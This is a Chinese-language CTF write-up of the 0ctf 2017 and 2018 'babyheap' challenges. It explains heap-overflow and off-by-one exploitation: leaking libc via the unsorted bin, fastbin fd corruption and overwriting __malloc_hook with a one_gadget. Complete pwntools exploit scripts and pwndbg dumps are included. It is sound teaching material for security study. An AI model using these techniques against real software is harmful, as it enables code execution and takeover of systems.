Ctf
9 Aug 2019

0ctf-babyheap

0ctf-babyheap

  • 0ctf2017 babyheap

    Allocate

    申请大小0x1000字节以内内存

    Fill

    向堆块写入数据,存在堆溢出

    Free

    释放堆块

    Dump

    打印堆块数据

    • 泄露libc基址

      small chunk 被释放后进入unsorted bin,fd和bk指向unsorted bin链表头部(main_arena + 0x58)

      main_arena相对libc偏移0x3c4b20

      如果能得到指向这个fd的index就可以得到libc基址

      分配几个fast chunk和一个small chunk,free两个fast chunk,改fd指向small chunk,改small chunk的size绕过检查,两次alloc就可以获得指向small chunk的index。

      然后把small chunk的size改回去,再分配一个small chunk防止free后被合并到top chunk而不是进入unsorted bin,然后free,fd和bk指向unsorted bin链表头部。dump(2)

      def leak_libc():
      	for i in range(4):
      		alloc(0x10)
      	alloc(0x80)
      	free(1)
      	free(2)
      	padding = p64(0)*3 + p64(0x21)
      	payload = padding*2 + p8(0x80)
      	fill(0, payload)
      	fill(3, padding)
      	alloc(0x10)
      	alloc(0x10)
          
      	payload = p64(0)*3 + p64(0x91)
      	fill(3, payload)
      	alloc(0x80)
      	free(4)
      	fuck = dump(2)[:8].ljust(8, "\x00")
      	libc_base = u64(fuck)-0x3c4b78
      	print(hex(libc_base))
      	return libc_base
          
      
      pwndbg> x/64gx 0x55f1f27bf000
      0x55f1f27bf000:	0x0000000000000000	0x0000000000000021
      0x55f1f27bf010:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf020:	0x0000000000000000	0x0000000000000021
      0x55f1f27bf030:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf040:	0x0000000000000000	0x0000000000000021
      0x55f1f27bf050:	0x000055f1f27bf080	0x0000000000000000
      0x55f1f27bf060:	0x0000000000000000	0x0000000000000021
      0x55f1f27bf070:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf080:	0x0000000000000000	0x0000000000000091
      0x55f1f27bf090:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf0a0:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf0b0:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf0c0:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf0d0:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf0e0:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf0f0:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf100:	0x0000000000000000	0x0000000000000000
      0x55f1f27bf110:	0x0000000000000000	0x0000000000020ef1
          
      
      pwndbg> x/64gx 0x55eea8bbe000 
      0x55eea8bbe000:	0x0000000000000000	0x0000000000000021
      0x55eea8bbe010:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe020:	0x0000000000000000	0x0000000000000021
      0x55eea8bbe030:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe040:	0x0000000000000000	0x0000000000000021
      0x55eea8bbe050:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe060:	0x0000000000000000	0x0000000000000021
      0x55eea8bbe070:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe080:	0x0000000000000000	0x0000000000000091
      0x55eea8bbe090:	0x00007f387ebaa678	0x00007f387ebaa678
      0x55eea8bbe0a0:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe0b0:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe0c0:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe0d0:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe0e0:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe0f0:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe100:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe110:	0x0000000000000090	0x0000000000000090
      0x55eea8bbe120:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe130:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe140:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe150:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe160:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe170:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe180:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe190:	0x0000000000000000	0x0000000000000000
      0x55eea8bbe1a0:	0x0000000000000000	0x0000000000020e61
      
    • 写__malloc_hook

      __malloc_hook 是一个函数指针变量,指向

      void * function(size_t size, void * caller)
      

      调用 malloc 时如果该指针不为空则执行它指向的函数

      void *(*hook) (size_t, const void *)
         = atomic_forced_read (__malloc_hook);
       if (__builtin_expect (hook != NULL, 0))
         return (*hook)(bytes, RETURN_ADDRESS (0));
      

      如果能把one_gadget写入__malloc_hook,就可以getshell

      __malloc_hook在main_arena上方,相对libc偏移0x3c4b10

      在__malloc_hook处构造fake chunk,index4和index2指向同一个chunk,free(4)再通过index2改fd,然后两次alloc就可以在__malloc_hook分配一个chunk

      然后把one_gadget写入_malloc_hook,再alloc就可以执行one_gadget

      通过字节错位绕过size检查

      找一个0x7f

      pwndbg> x/64gx 0x7ffff7dd2c0d
      0x7ffff7dd2c0d <_IO_wide_data_0+301>:	0xfff7dced60000000	0x000000000000007f
      0x7ffff7dd2c1d:	0xfff7aa0b40000000	0xfff7aa10b000007f
      0x7ffff7dd2c2d <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
      0x7ffff7dd2c3d:	0x0000000000000000	0x0000000000000000
      0x7ffff7dd2c4d <main_arena+13>:	0x0000000000000000	0x0000000000000000
      0x7ffff7dd2c5d <main_arena+29>:	0x0000000000000000	0x0000000000000000
      0x7ffff7dd2c6d <main_arena+45>:	0x0000000000000000	0x0000000000000000
      0x7ffff7dd2c7d <main_arena+61>:	0x0000000000000000	0x0000000000000000
      0x7ffff7dd2c8d <main_arena+77>:	0x0000000000000000	0x0000000000000000
      0x7ffff7dd2c9d <main_arena+93>:	0x5555757270000000	0x0000000000000055
      
      pwndbg> x/64gx 0x7f8c24e5c5ed-5
      0x7f8c24e5c5e8:	0x00007f8c24e5c120	0x00007f8c24e58940
      0x7f8c24e5c5f8:	0x0000000000000000	0x0000000000000000
      0x7f8c24e5c608 <__realloc_hook>:	0x0000000000000000	0x00007f8c24adcd6a
      0x7f8c24e5c618:	0x0000000000000000	0x0000000000000000
      0x7f8c24e5c628:	0x0000000000000000	0x0000000000000000
      0x7f8c24e5c638:	0x0000000000000000	0x0000000000000000
      0x7f8c24e5c648:	0x0000000000000000	0x8c24b343a0000000
      
      libc_base = leak_libc()
      alloc(0x60)
      free(4)
      fuck_addr = libc_base+0x3c4aed
      print(hex(fuck_addr))
      payload = p64(fuck_addr)
      fill(2, payload)
      alloc(0x60)
      alloc(0x60)
      one = libc_base+0x4526a
      payload = p8(0)*3 + p64(0)*2 + p64(one)
      fill(6, payload)
      alloc(0x10)
      r.interactive()
      
    • exp

      from pwn import *
      context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
      r = remote('f.buuoj.cn',20001)
      context.log_level = "debug"
      #r = process(['./babyheap_0ctf_2017'],env = {"LD_PRELOAD":"./libc.so.6"})
      elf = ELF('./babyheap_0ctf_2017')
      libc = ELF('./x64_libc.so.6')
          
      def alloc(size):
      	r.recvuntil('Command:')
      	r.sendline('1')
      	r.recvuntil('Size:')
      	r.sendline(str(size))
          
      def fill(index,content):
          r.recvuntil('Command:')
          r.sendline('2')
          r.recvuntil('Index:')
          r.sendline(str(index))
          r.recvuntil('Size:')
          r.sendline(str(len(content)))
          r.recvuntil('Content:')
          r.send(content)
          
      def free(index):
          r.recvuntil('Command:')
          r.sendline('3')
          r.recvuntil('Index:')
          r.sendline(str(index))
          
      def dump(index):
          r.recvuntil('Command:')
          r.sendline('4')
          r.recvuntil('Index:')
          r.sendline(str(index))
          r.recvuntil('Content: \n')
          fuck = r.recvline()
          return fuck
          
      def leak_libc():
      	for i in range(4):
      		alloc(0x10)
      	alloc(0x80)
      	free(1)
      	free(2)
      	padding = p64(0)*3 + p64(0x21)
      	payload = padding*2 + p8(0x80)
      	fill(0, payload)
      	fill(3, padding)
      	alloc(0x10)
      	alloc(0x10)
          
      	payload = p64(0)*3 + p64(0x91)
      	fill(3, payload)
      	alloc(0x80)
      	free(4)
      	fuck = dump(2)[:8].ljust(8, "\x00")
      	libc_base = u64(fuck)-0x3c4b78
      	print(hex(libc_base))
      	return libc_base
          
          
      libc_base = leak_libc()
      alloc(0x60)
      free(4)
      fuck_addr = libc_base+0x3c4aed
      print(hex(fuck_addr))
      payload = p64(fuck_addr)
      fill(2, payload)
      alloc(0x60)
      alloc(0x60)
      one = libc_base+0x4526a
      payload = p8(0)*3 + p64(0)*2 + p64(one)
      fill(6, payload)
      alloc(0x10)
      r.interactive()
      
  • 0ctf2018-babyheap

    Allocate

    申请大小0x58字节以内内存

    Update

    向堆块写入数据,存在Off-By-One

    Delete

    释放堆块

    View

    打印堆块数据

    • 泄露libc基址

      overlap。Off-By-One改chunk的size,使其包含两个chunk,size范围在unsorted bin范围内,free后fd和bk指向unsorted bin链表头部。此时chunk2可以查看,再申请一个chunk,chunk2的fd和bk变为chunk1的fd和bk,view(2)可以得到unsorted bin链表头部地址

      offset = 0x399b00
      alloc(0x48)
      alloc(0x48)
      alloc(0x48)
      alloc(0x48)
      payload = 'a' * 0x48 + '\xa1'
      update(0, 0x49, payload)
      delete(1)
      alloc(0x48)
      view(2)
      r.recvuntil("Chunk[2]: ")
      main_arena = u64(r.recv(8)) - 0x58
      libc_base = main_arena - offset
      log.success('main_arena:'+hex(main_arena))
      log.success('libc_base:'+hex(libc_base))
      
      pwndbg> x/64gx 0x5599b639e000
      0x5599b639e000:	0x0000000000000000	0x0000000000000051
      0x5599b639e010:	0x6161616161616161	0x6161616161616161
      0x5599b639e020:	0x6161616161616161	0x6161616161616161
      0x5599b639e030:	0x6161616161616161	0x6161616161616161
      0x5599b639e040:	0x6161616161616161	0x6161616161616161
      0x5599b639e050:	0x6161616161616161	0x00000000000000a1
      0x5599b639e060:	0x00007f05d79d3678	0x00007f05d79d3678
      0x5599b639e070:	0x0000000000000000	0x0000000000000000
      0x5599b639e080:	0x0000000000000000	0x0000000000000000
      0x5599b639e090:	0x0000000000000000	0x0000000000000000
      0x5599b639e0a0:	0x0000000000000000	0x0000000000000051
      0x5599b639e0b0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0c0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0d0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0e0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0f0:	0x00000000000000a0	0x0000000000000050
      
      pwndbg> x/64gx  0x5599b639e000
      0x5599b639e000:	0x0000000000000000	0x0000000000000051
      0x5599b639e010:	0x6161616161616161	0x6161616161616161
      0x5599b639e020:	0x6161616161616161	0x6161616161616161
      0x5599b639e030:	0x6161616161616161	0x6161616161616161
      0x5599b639e040:	0x6161616161616161	0x6161616161616161
      0x5599b639e050:	0x6161616161616161	0x0000000000000051
      0x5599b639e060:	0x0000000000000000	0x0000000000000000
      0x5599b639e070:	0x0000000000000000	0x0000000000000000
      0x5599b639e080:	0x0000000000000000	0x0000000000000000
      0x5599b639e090:	0x0000000000000000	0x0000000000000000
      0x5599b639e0a0:	0x0000000000000000	0x0000000000000051
      0x5599b639e0b0:	0x00007f05d79d3678	0x00007f05d79d3678
      0x5599b639e0c0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0d0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0e0:	0x0000000000000000	0x0000000000000000
      0x5599b639e0f0:	0x0000000000000050	0x0000000000000050
      

      泄露堆地址,此时再申请一个chunk,index为4,index为2的chunk和这个chunk是同一个chunk,free chunk1和chunk2,chunk2的fd指向chunk1,然后view(4)就可以得到堆地址

      alloc(0x48)
      delete(1)   
      delete(2)
      view(4)
      r.recvuntil("Chunk[4]: ")
      chunk0 = u64(r.recv(8)) - 0x50
      log.success('chunk0'+hex(chunk0))
      
      pwndbg> x/64gx 0x55ff159af000
      0x55ff159af000:	0x0000000000000000	0x0000000000000051
      0x55ff159af010:	0x6161616161616161	0x6161616161616161
      0x55ff159af020:	0x6161616161616161	0x6161616161616161
      0x55ff159af030:	0x6161616161616161	0x6161616161616161
      0x55ff159af040:	0x6161616161616161	0x6161616161616161
      0x55ff159af050:	0x6161616161616161	0x0000000000000051
      0x55ff159af060:	0x0000000000000000	0x0000000000000000
      0x55ff159af070:	0x0000000000000000	0x0000000000000000
      0x55ff159af080:	0x0000000000000000	0x0000000000000000
      0x55ff159af090:	0x0000000000000000	0x0000000000000000
      0x55ff159af0a0:	0x0000000000000000	0x0000000000000051
      0x55ff159af0b0:	0x000055ff159af050	0x0000000000000000
      0x55ff159af0c0:	0x0000000000000000	0x0000000000000000
      0x55ff159af0d0:	0x0000000000000000	0x0000000000000000
      0x55ff159af0e0:	0x0000000000000000	0x0000000000000000
      0x55ff159af0f0:	0x0000000000000000	0x0000000000000051
      0x55ff159af100:	0x0000000000000000	0x0000000000000000
      0x55ff159af110:	0x0000000000000000	0x0000000000000000
      0x55ff159af120:	0x0000000000000000	0x0000000000000000
      0x55ff159af130:	0x0000000000000000	0x0000000000000000
      0x55ff159af140:	0x0000000000000000	0x0000000000020ec1
      
    • 写__malloc_hook

      最大只能申请0x58字节,所以不能直接在__malloc_hook附近构造fake_chunk。

      先在main_arena构造fake_chunk,然后把top_chunk改到__malloc_hook上方,下一次alloc就可以控制__malloc_hook

      在构造fake_chunk前先做一个fast bin,使fast bin链表中有地址,fake_chunk地址选择main_arena + 0x20 + 5,利用这个fast bin的地址的第一个字节绕过size检查

      bypass = alloc(0x58)
      delete(bypass)
      update(chunk2_, p64(fake_addr))
      alloc(0x48)
      fake_chunk = alloc(0x40)
      payload = '\x00'*35 + p64(top)
      update(fake_chunk, payload)
      fuck_chunk = alloc(0x48)
      payload = '\x00'*3 + '\x00'*16 + p64(one)
      update(fuck_chunk, payload)
      

      fake_chunk

      [*] fake_addr:0x7f96b2675640
      pwndbg> x/64gx 0x7f96b2675640
      0x7f96b2675640:	0x0000000000000000	0x0000560b2d3c2140
      0x7f96b2675650:	0x0000000000000000	0x0000000000000000
      0x7f96b2675660:	0x0000000000000000	0x0000000000000000
      0x7f96b2675670:	0x0000000000000000	0x0000560b2d3c21a0
      
      [*] fake_addr:0x7f96b2675640
      pwndbg> x/64gx 0x7f96b2675645
      0x7f96b2675645:	0x0b2d3c2140000000	0x0000000000000056
      0x7f96b2675655:	0x0000000000000000	0x0000000000000000
      0x7f96b2675665:	0x0000000000000000	0x0000000000000000
      0x7f96b2675675:	0x0b2d3c21a0000000	0x0b2d3c20a0000056
      

      fake_top

      [*] fake_addr:0x7f0af3d1a645
      [*] top:0x7f0af3d1a5ed
      pwndbg> x/64gx 0x7f0af3d1a645
      0x7f0af3d1a645:	0x32374b9140000000	0x0000000000000056
      0x7f0af3d1a655:	0x0000000000000000	0x0000000000000000
      0x7f0af3d1a665:	0x0000000000000000	0x0000000000000000
      0x7f0af3d1a675:	0x0af3d1a5ed000000	0x32374b90a000007f
      

      __malloc_hook

      [*] top:0x7f41eaa035ed
      [*] one:0x7f41ea6a8e7a
      pwndbg> x/64gx 0x7f41eaa035ed
      0x7f41eaa035ed:	0x41ea9ff94000007f	0x0000000000000051
      0x7f41eaa035fd:	0x0000000000000000	0x0000000000000000
      0x7f41eaa0360d <__realloc_hook+5>:	0x41ea6a8e7a000000	0x000000000000007f
      0x7f41eaa0361d:	0x0000000000000000	0x0000000000000000
      0x7f41eaa0362d:	0x0000000000000000	0x0000000000000000
      0x7f41eaa0363d:	0x0000000000000000	0x0000000000000029
      
    • exp

      from pwn import *
      context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
      context.log_level = 'debug'
      r = process(['./babyheap'],env = {'LD_PRELOAD':'./libc.so.6'})
      elf = ELF('./babyheap')
      libc = ELF('./libc.so.6')
          
      def alloc(size):
          r.recvuntil('Command: ')
          r.sendline('1')
          r.recvuntil('Size: ')
          r.sendline(str(size))
          fuck = r.recvuntil('Allocated\n')
          index = int(fuck.split()[1])
          return index
          
      def update(index, content):
          r.recvuntil('Command: ')
          r.sendline('2')
          r.recvuntil('Index: ')
          r.sendline(str(index))
          r.recvuntil('Size: ')
          r.sendline(str(len(content)))
          r.recvuntil('Content: ')
          r.sendline(content)
          
      def delete(index):
          r.recvuntil('Command: ')
          r.sendline('3')
          r.recvuntil('Index: ')
          r.sendline(str(index))
          
      def view(index):
          r.recvuntil('Command: ')
          r.sendline('4')
          r.recvuntil('Index: ')
          r.sendline(str(index))
          
          
      offset = 0x399b00
      chunk0 = alloc(0x48)
      chunk1 = alloc(0x48)
      chunk2 = alloc(0x48)
      chunk3 = alloc(0x48)
      payload = 'a' * 0x48 + '\xa1'
      update(0, payload)
      delete(chunk1)
      chunk1 = alloc(0x48)
          
      view(chunk2)
      r.recvuntil('Chunk[2]: ')
      main_arena = u64(r.recv(8)) - 0x58
      libc_base = main_arena - offset
      log.success('main_arena:'+hex(main_arena))
      log.success('libc_base:'+hex(libc_base))
          
      chunk2_ = alloc(0x48)
      delete(chunk1)   
      delete(chunk2)
      view(chunk2_ )
      r.recvuntil('Chunk[4]: ')
      chunk0 = u64(r.recv(8)) - 0x50
      log.success('chunk0: '+hex(chunk0))
          
          
      fake_addr = main_arena + 0x20 + 5
      top = main_arena - 0x33
      one = libc_base + 0x3f35a
      log.info('fake_addr:'+hex(fake_addr))
      log.info('top:'+hex(top))
      log.info('one:'+hex(one))
          
      bypass = alloc(0x58)
      delete(bypass)
      update(chunk2_, p64(fake_addr))
      alloc(0x48)
      fake_chunk = alloc(0x40)
      payload = '\x00'*35 + p64(top)
      update(fake_chunk, payload)
      fuck_chunk = alloc(0x48)
      payload = '\x00'*18 + p64(one)
      update(fuck_chunk, payload)
          
      r.interactive()
      

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).